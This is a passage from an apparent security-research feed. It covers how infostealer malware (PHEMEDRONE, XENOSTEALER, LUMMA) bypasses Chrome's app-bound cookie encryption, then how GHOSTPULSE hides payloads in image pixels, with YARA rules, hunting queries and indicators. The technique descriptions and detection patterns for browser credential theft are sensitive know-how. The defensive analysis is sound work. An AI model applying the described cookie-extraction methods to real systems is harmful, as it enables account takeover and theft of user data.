<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tricks and Treats: GHOSTPULSE’s new pixel-level deception]]></title>
            <link>https://www.elastic.co/jp/security-labs/tricks-and-treats</link>
            <guid>tricks-and-treats</guid>
            <pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.]]></description>
            <content:encoded><![CDATA[<h2>Update</h2>
<p>This research covers an update to stage 2 of GHOSTPULSE, <a href="https://www.elastic.co/jp/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2">originally disclosed</a> by Elastic Security Labs in October 2023.</p>
<h2>Key takeaways</h2>
<ol>
<li>GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.</li>
<li>Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.</li>
<li>Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.</li>
</ol>
<h2>Preamble</h2>
<p>The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.</p>
<p>In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a <a href="https://www.elastic.co/jp/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">previous article from Elastic Security Labs</a>. However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.</p>
<p>In this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.</p>
<h2>Introduction</h2>
<p>Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by <a href="https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/">HarfangLab</a>. These campaigns stand out due to their <a href="https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers">creative social engineering tactics</a>. Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/image1.png" alt="Social engineer lure website" title="Lure website" /></p>
<p>In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.</p>
<p>However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/image2.png" alt="Large embedded PNG file in the resources section" title="Large embedded PNG file in the resources section" /></p>
<h2>Technical analysis</h2>
<p>The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.</p>
<p>The following is a screenshot showing the pseudocode of both implementations:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/image4.png" alt="Pseudocode code comparison between old and new algorithm" title="Pseudocode code comparison between old and new algorithm" /></p>
<p>In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.</p>
<p>In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's <code>RED</code>, <code>GREEN</code>, and <code>BLUE</code> (RGB) values sequentially using standard Windows APIs from the <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GdiPlus(GDI+)</a> library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.</p>
<p>The following diagram provides a visual breakdown of this process:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/image5.png" alt="" /></p>
<h2>Updated configuration extractor</h2>
<p>Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/image3.png" alt="" /></p>
<h2>Detecting GHOSTPULSE with YARA</h2>
<p>The original <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">GHOSTPULSE YARA</a> rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.</p>
<p>Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_GHOSTPULSE_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-10-15&quot;
        last_modified = &quot;2024-10-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;GHOSTPULSE&quot;
        threat_name = &quot;Windows.Trojan.GHOSTPULSE&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }
        $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }

    condition:
        any of them
}

rule Windows_Trojan_GHOSTPULSE_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-10-10&quot;
        last_modified = &quot;2024-10-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;GHOSTPULSE&quot;
        threat_name = &quot;Windows.Trojan.GHOSTPULSE&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }

    condition:
        all of them
}
</code></pre>
<h2>Conclusion</h2>
<p>In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.</p>
<p>As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.</p>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077</code></td>
<td>SHA-256</td>
<td><code>Setup.exe</code></td>
<td>GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae</code></td>
<td>SHA-256</td>
<td><code>Setup_light.exe</code></td>
<td>GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>winrar01.b-cdn[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>Infrastructure hosting GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>reinforcenh[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>stogeneratmns[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>fragnantbui[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>drawzhotdog[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>vozmeatillu[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>offensivedzvju[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>ghostreedmnu[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>gutterydhowi[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>riderratttinow[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/tricks-and-treats/tricks-and-treats.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Globally distributed stealers]]></title>
            <link>https://www.elastic.co/jp/security-labs/globally-distributed-stealers</link>
            <guid>globally-distributed-stealers</guid>
            <pubDate>Fri, 24 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.</p>
